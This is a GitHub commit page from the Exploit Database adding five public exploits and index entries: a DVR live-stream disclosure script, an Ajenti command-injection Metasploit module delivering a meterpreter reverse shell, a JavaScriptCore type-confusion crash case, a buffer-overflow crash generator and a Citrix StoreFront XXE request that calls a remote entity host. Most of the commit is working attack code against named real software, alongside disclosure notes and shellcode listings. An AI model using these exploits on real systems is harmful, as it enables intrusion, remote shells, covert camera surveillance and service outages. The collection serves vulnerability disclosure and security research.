Skip to content

Commit caad53e

Browse files
author
Offensive Security
committed
DB: 2019-10-31
6 changes to exploits/shellcodes WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service JavaScriptCore - GetterSetter Type Confusion During DFG Compilation Ajenti 2.1.31 - Remote Code Exection (Metasploit) Citrix StoreFront Server 7.15 - XML External Entity Injection iSeeQ Hybrid DVR WH-H4 2.0.0.P - (get_jpeg) Stream Disclosure Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes)
1 parent 595ac97 commit caad53e

File tree

8 files changed

+456
-0
lines changed

8 files changed

+456
-0
lines changed

‎exploits/hardware/webapps/47562.sh

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
# Title: iSeeQ Hybrid DVR WH-H4 2.0.0.P - (get_jpeg) Stream Disclosure
2+
# Date: 2019-10-29
3+
# Author: LiquidWorm
4+
# Vendor:iSeeQ
5+
# Link: http://www.iseeq.co.kr
6+
# CVE: N/A
7+
8+
#!/bin/bash
9+
#
10+
#
11+
# iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure
12+
#
13+
#
14+
# Vendor: iSeeQ
15+
# Product web page: http://www.iseeq.co.kr
16+
# Affected version: WH-H4 1.03R / 2.0.0.P
17+
#
18+
# Summary: The 4/8/16 channel hybrid standalone DVR delivers high quality
19+
# pictures which adopts high performance video processing chips and embedded
20+
# Linux system. This advanced video digital platform is very useful to identify
21+
# an object from a long distance.
22+
#
23+
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
24+
# disclosure when get_jpeg script is called.
25+
#
26+
# Tested on: Boa/0.94.13
27+
# PHP/7.0.22
28+
# DVR Web Server
29+
#
30+
#
31+
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
32+
# @zeroscience
33+
#
34+
#
35+
# Advisory ID: ZSL-2019-5539
36+
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php
37+
#
38+
#
39+
# 28.10.2019
40+
#
41+
42+
43+
if [ "$#" -ne 2 ]; then
44+
echo "Usage: $0 IP:PORT CHANNEL"
45+
exit
46+
fi
47+
IP=$1
48+
CHANNEL=$2
49+
HOST="http://$IP/cgi-bin/get_jpeg?ch=$CHANNEL"
50+
STATUS=$(curl -Is http://$IP/cgi-bin/php/login.php 2>/dev/null | head -1 | awk -F" " '{print $2}')
51+
if [ "$STATUS" == "404" ]; then
52+
echo "Target not vulnerable!"
53+
exit
54+
fi
55+
echo "Collecting snapshots..."
56+
for x in {1..10};
57+
do echo -ne $x
58+
curl "$HOST" -o seq-$x.jpg -#;
59+
sleep 0.8
60+
done
61+
echo -ne "\nDone."
62+
echo -ne "\nRendering video..."
63+
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i seq-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p clip.mp4
64+
echo " done."
65+
echo -ne "\nRunning animation..."
66+
sleep 1
67+
cvlc clip.mp4 --verbose -1 -f vlc://quit

‎exploits/json/webapps/47560.rb

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
# Exploit Title: Ajenti 2.1.31 - Remote Code Exection (Metasploit)
2+
# Date: 2019-10-29
3+
# Exploit Author: Onur ER
4+
# Vendor Homepage: http://ajenti.org/
5+
# Software Link: https://github.com/ajenti/ajenti
6+
# Version: 2.1.31
7+
# Tested on: Ubuntu 19.10
8+
9+
##
10+
# This module requires Metasploit: https://metasploit.com/download
11+
# Current source: https://github.com/rapid7/metasploit-framework
12+
##
13+
14+
class MetasploitModule < Msf::Exploit::Remote
15+
Rank = ExcellentRanking
16+
17+
include Msf::Exploit::Remote::HttpClient
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => "Ajenti 2.1.31 Remote Code Execution",
22+
'Description' => %q{
23+
This module exploits a command injection in Ajenti <= 2.1.31.
24+
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
25+
},
26+
'Author' => [
27+
'Jeremy Brown', # Vulnerability discovery
28+
'Onur ER <[email protected]>' # Metasploit module
29+
],
30+
'References' => [
31+
['EDB', '47497']
32+
],
33+
'DisclosureDate' => '2019-10-14',
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'python',
36+
'Arch' => ARCH_PYTHON,
37+
'Privileged' => false,
38+
'Targets' => [
39+
[ 'Ajenti <= 2.1.31', {} ]
40+
],
41+
'DefaultOptions' =>
42+
{
43+
'RPORT' => 8000,
44+
'SSL' => 'True',
45+
'payload' => 'python/meterpreter/reverse_tcp'
46+
},
47+
'DefaultTarget' => 0
48+
))
49+
register_options([
50+
OptString.new('TARGETURI', [true, 'Base path', '/'])
51+
])
52+
end
53+
54+
def check
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => "/view/login/normal"
58+
})
59+
if res and res.code == 200
60+
if res.body =~ /'ajentiVersion', '2.1.31'/
61+
return Exploit::CheckCode::Vulnerable
62+
elsif res.body =~ /Ajenti/
63+
return Exploit::CheckCode::Detected
64+
end
65+
end
66+
vprint_error("Unable to determine due to a HTTP connection timeout")
67+
return Exploit::CheckCode::Unknown
68+
end
69+
70+
71+
def exploit
72+
print_status("Exploiting...")
73+
random_password = rand_text_alpha_lower(7)
74+
json_body = { 'username' => "`python -c \"#{payload.encoded}\"`",
75+
'password' => random_password,
76+
'mode' => 'normal'
77+
}
78+
res = send_request_cgi({
79+
'method' => 'POST',
80+
'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),
81+
'ctype' => 'application/json',
82+
'data' => JSON.generate(json_body)
83+
})
84+
end
85+
end

‎exploits/multiple/dos/47565.txt

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
The following JavaScript program, found by Fuzzilli and slightly modified, crashes JavaScriptCore built from HEAD and the current stable release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):
2+
3+
let notAGetterSetter = {whatever: 42};
4+
5+
function v2(v5) {
6+
const v10 = Object();
7+
if (v5) {
8+
const v12 = {set:Array};
9+
const v14 = Object.defineProperty(v10,"length",v12);
10+
const v15 = (140899729)[140899729];
11+
} else {
12+
v10.length = notAGetterSetter;
13+
}
14+
const v18 = new Uint8ClampedArray(49415);
15+
v18[1] = v10;
16+
const v19 = v10.length;
17+
let v20 = 0;
18+
while (v20 < 100000) {
19+
v20++;
20+
}
21+
}
22+
const v26 = v2();
23+
for (let v32 = 0; v32 < 1000; v32++) {
24+
const v33 = v2(true);
25+
}
26+
27+
/*
28+
Crashes with:
29+
ASSERTION FAILED: from.isCell() && from.asCell()->JSCell::inherits(*from.asCell()->vm(), std::remove_pointer<To>::type::info())
30+
../../Source/JavaScriptCore/runtime/JSCast.h(44) : To JSC::jsCast(JSC::JSValue) [To = JSC::GetterSetter *]
31+
1 0x1111ada79 WTFCrash
32+
2 0x1111ada99 WTFCrashWithSecurityImplication
33+
3 0x10ffb8f55 JSC::GetterSetter* JSC::jsCast<JSC::GetterSetter*>(JSC::JSValue)
34+
4 0x10ffaf820 JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::executeEffects(unsigned int, JSC::DFG::Node*)
35+
5 0x10ff9f37b JSC::DFG::AbstractInterpreter<JSC::DFG::InPlaceAbstractState>::execute(unsigned int)
36+
6 0x10ff9def2 JSC::DFG::CFAPhase::performBlockCFA(JSC::DFG::BasicBlock*)
37+
7 0x10ff9d957 JSC::DFG::CFAPhase::performForwardCFA()
38+
8 0x10ff9d647 JSC::DFG::CFAPhase::run()
39+
9 0x10ff9cc61 bool JSC::DFG::runAndLog<JSC::DFG::CFAPhase>(JSC::DFG::CFAPhase&)
40+
10 0x10ff6c65b bool JSC::DFG::runPhase<JSC::DFG::CFAPhase>(JSC::DFG::Graph&)
41+
11 0x10ff6c625 JSC::DFG::performCFA(JSC::DFG::Graph&)
42+
12 0x110279031 JSC::DFG::Plan::compileInThreadImpl()
43+
13 0x110274fa6 JSC::DFG::Plan::compileInThread(JSC::DFG::ThreadData*)
44+
14 0x11052a9bb JSC::DFG::Worklist::ThreadBody::work()
45+
15 0x1111b3c69 WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0::operator()() const
46+
16 0x1111b38a9 WTF::Detail::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0, void>::call()
47+
17 0x1102c433a WTF::Function<void ()>::operator()() const
48+
18 0x1111f0350 WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*)
49+
19 0x111285525 WTF::wtfThreadEntryPoint(void*)
50+
20 0x7fff5a7262eb _pthread_body
51+
21 0x7fff5a729249 _pthread_start
52+
22 0x7fff5a72540d thread_start
53+
*/
54+
55+
The assertion indicates that a JSCell is incorrectly downcasted to a GetterSetter [1] (a pseudo object used to implement property getters/setter). In non debug builds, a type confusion then follows.
56+
57+
Below is my preliminary analysis of the cause of the bug.
58+
59+
The function v2 is eventually JIT compiled by the FTL JIT compiler. Initially, it will create the following (pseudo) DFG IR for it:
60+
61+
# Block 0 (before if-else):
62+
44: NewObject(...)
63+
<jump to block 1 or 2 depending on v5>
64+
65+
# Block 1 (the if part):
66+
... <install .length property on @44>
67+
// Code for const v15 = (140899729)[140899729];
68+
ForceOSRExit
69+
Unreachable
70+
71+
# Block 2 (the else part)
72+
PutByOffset @44, notAGetterSetter
73+
PutStructure
74+
75+
# Block 3 (after the if-else):
76+
...
77+
// Code for v10.length. Due to feedback from previous executions, DFG
78+
// JIT speculates that the if branch will be taken and that it will see
79+
// v10 with a GetterSetter for .length here
80+
CheckStructure @44, structureWithLengthBeingAGetterSetter
81+
166: GetGetterSetterByOffset @44, .length // Load the GetterSetter object from @44
82+
167: GetGetter @166 // Load the getter function from the GetterSetter
83+
...
84+
85+
86+
Here, the end of block 1 has already been marked as unreachable due to the element load from a number which will always cause a bailout.
87+
88+
Later, the global subexpression elimination phase [2] runs and does the following (which can be seen by enabling verbose CSE [3]):
89+
90+
* It determines that the GetGetterSetterByOffset node loads the named property from the object @44
91+
* It determines that this property slot is assigned in block 2 (the else block) and that this block strictly dominates the current block (meaning that the current block can only be reached through block 2)
92+
* This is now the case as block 1 does a bailout, so block 3 can never be reached from block 1
93+
* As such, CSE replaces the GetGetterSetterByOffset operation with the constant for |notAGetterSetter| (as that is what is assigned in block 2).
94+
95+
At this point the IR is incorrect as the input to a GetGetter operation is expected to be a GetterSetter object, but in this case it is not. During later optimizations, e.g. the AbstractInterpreter relies on that invariant and casts the input to a GetterSetter object [4]. At that point JSC crashes in debug builds with the above assertion. It might also be possible to trigger the type confusion at runtime instead of at compile time but I have not attempted that.
96+
97+
98+
99+
[1] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/runtime/GetterSetter.h#L43
100+
[2] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.h#L49
101+
[3] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp#L51
102+
[4] https://github.com/WebKit/webkit/blob/87064d847a0f1b22a9bb400647647fe4004a4ccd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L2811

‎exploits/windows/dos/47563.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Exploit Title: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service
2+
# Date: 2019-10-30
3+
# Vendor Homepage:https://www.alloksoft.com/
4+
# Software Link: https://www.alloksoft.com/wmv.htm
5+
# Exploit Author: Nithoshitha S
6+
# Tested Version: v4.6.1217
7+
# Tested on: Windows 7 x64
8+
# Windows XP SP3
9+
10+
# 1.- Run python code :poc.py
11+
# 2.- Open EVIL.txt and copy content to clipboard
12+
# 3.- Open WMV to AVI MPEG DVD WMV Convertor and Click 'EnterKey'
13+
# 4.- Paste the content of EVIL.txt into the Field: 'License Name and License Code'
14+
# 5.- Click 'OK' and you will see a crash.
15+
16+
# poc.py
17+
18+
#!/usr/bin/env python
19+
buffer = "\x41" * 6000
20+
21+
try:
22+
f=open("Evil.txt","w")
23+
print "[+] Creating %s bytes evil payload.." %len(buffer)
24+
f.write(buffer)
25+
f.close()
26+
print "[+] File created!"
27+
except:
28+
print "File cannot be created"

‎exploits/xml/webapps/47561.txt

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# Exploit Title: Citrix StoreFront Server 7.15 - XML External Entity Injection
2+
# Date: 2019-08-28
3+
# Exploit Author: Vahagn Vardanya
4+
# Vendor Homepage:https://www.citrix.com/downloads/storefront/
5+
# Software Link: https://support.citrix.com/article/CTX251988
6+
# Version:
7+
# Citrix StoreFront Server earlier than 1903
8+
# Citrix StoreFront Server 7.15 LTSR earlier than CU4 (3.12.4000)
9+
# Citrix StoreFront Server 7.6 LTSR earlier than CU8 (3.0.8000)#
10+
# Tested on: Windows
11+
# Shodan query https://www.shodan.io/search?query=%2FCitrix%2FStoreWeb
12+
13+
# PoC
14+
15+
POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
16+
Content-Type: application/vnd.citrix.requesttoken+xml
17+
Accept: application/vnd.citrix.requesttokenresponse+xml, application/vnd.
18+
citrix.authenticateresponse-1+xml
19+
Accept-Language:ru,en-US;q=0.9,en;q=0.8,fr;q=0.7,hy;q=0.6,de;q=0.5,es;q=0.4,nb;q=0.3,nl;q=0.2,fi;q=0.1
20+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
21+
X-Forwarded-For: 192.168.204.1
22+
X-Citrix-Agent: crm.
23+
X-Citrix-AM-CredentialTypes: none, username, domain, password, newpassword,passcode, savecredentials, textcredential, webview, webview
24+
X-Citrix-AM-LabelTypes: none, plain, heading, information, warning, error,confirmation, image
25+
X-Citrix-IsUsingHTTPS: No
26+
Host: 192.168.204.131
27+
Content-Length: 331
28+
Expect: 100-continue
29+
30+
<?xml version="1.0" encoding="utf-8" standalone='no'?><!DOCTYPE
31+
requesttoken [<!ENTITY % xxe SYSTEM "http://REMOTE">%xxe; ]><requesttoken
32+
xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken
33+
"><for-service>a</for-service><for-service-url>http://secure-web.cisco.com/
34+
<http://secure-web.cisco.com/1ijL9Cycthe9FsmytQkHCl1Xg9pMufEcuz0PmzFHVwkbFjSep42bW3GRBkLUxePJTdOcYeHl5hlVi95aQc-F0KUuqpBKFdx4EXJ_ppx3MY000cALA2hGugGjMX3hbmvhtPOTba7B4LnAcpuyFDLHiSlv8xyu_CzN0mhekRY51L34p4Wy9oMguR9Bj8YWAm6KxixMl1DiaZ88h4FVR0vKzHdtedNF63xO329dQAtQuVWiipK_rt4rnVWKmorTTrbp-bsdV7zUBsqjON-MZYpzagQ/http%3A%2F%2F192.168.204.146%2FCitrix%2Fstore_nameAuth%2Fauth%2Fv1%2Ftoken></for-service-url><reqtokentemplate
35+
/><requested-lifetime>0.08:00:00</requested-lifetime></requesttoken>

‎files_exploits.csv

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6582,6 +6582,8 @@ id,file,description,date,author,type,platform,port
65826582
47525,exploits/windows/dos/47525.txt,"winrar 5.80 64bit - Denial of Service",2019-10-21,alblalawi,dos,windows,
65836583
47528,exploits/windows/dos/47528.txt,"Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)",2019-10-21,"Google Security Research",dos,windows,
65846584
47552,exploits/multiple/dos/47552.txt,"WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed",2019-10-28,"Google Security Research",dos,multiple,
6585+
47563,exploits/windows/dos/47563.py,"WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Denial of Service",2019-10-30,"Nithoshitha S",dos,windows,
6586+
47565,exploits/multiple/dos/47565.txt,"JavaScriptCore - GetterSetter Type Confusion During DFG Compilation",2019-10-30,"Google Security Research",dos,multiple,
65856587
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
65866588
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
65876589
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -41878,3 +41880,6 @@ id,file,description,date,author,type,platform,port
4187841880
47553,exploits/php/webapps/47553.md,"PHP-FPM + Nginx - Remote Code Execution",2019-10-28,"Emil Lerner",webapps,php,
4187941881
47555,exploits/php/webapps/47555.py,"rConfig 3.9.2 - Remote Code Execution",2019-10-29,Askar,webapps,php,
4188041882
47557,exploits/php/webapps/47557.txt,"Wordpress 5.2.4 - Cross-Origin Resource Sharing",2019-10-29,"Milad Khoshdel",webapps,php,
41883+
47560,exploits/json/webapps/47560.rb,"Ajenti 2.1.31 - Remote Code Exection (Metasploit)",2019-10-30,"Onur ER",webapps,json,
41884+
47561,exploits/xml/webapps/47561.txt,"Citrix StoreFront Server 7.15 - XML External Entity Injection",2019-10-30,"Vahagn Vardanyan",webapps,xml,
41885+
47562,exploits/hardware/webapps/47562.sh,"iSeeQ Hybrid DVR WH-H4 2.0.0.P - (get_jpeg) Stream Disclosure",2019-10-30,LiquidWorm,webapps,hardware,

‎files_shellcodes.csv

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1008,3 +1008,4 @@ id,file,description,date,author,type,platform
10081008
47513,shellcodes/linux/47513.c,"Linux/x86 - execve /bin/sh Shellcode (25 bytes)",2019-10-16,bolonobolo,shellcode,linux
10091009
47514,shellcodes/linux/47514.c,"Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)",2019-10-16,bolonobolo,shellcode,linux
10101010
47530,shellcodes/linux/47530.txt,"Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)",2019-10-22,WangYihang,shellcode,linux
1011+
47564,shellcodes/linux/47564.py,"Linux/x86 - (NOT|ROT+8 Encoded) execve(/bin/sh) null-free Shellcode (47 bytes)",2019-10-30,"Daniel Ortiz",shellcode,linux

0 commit comments

Comments
 (0)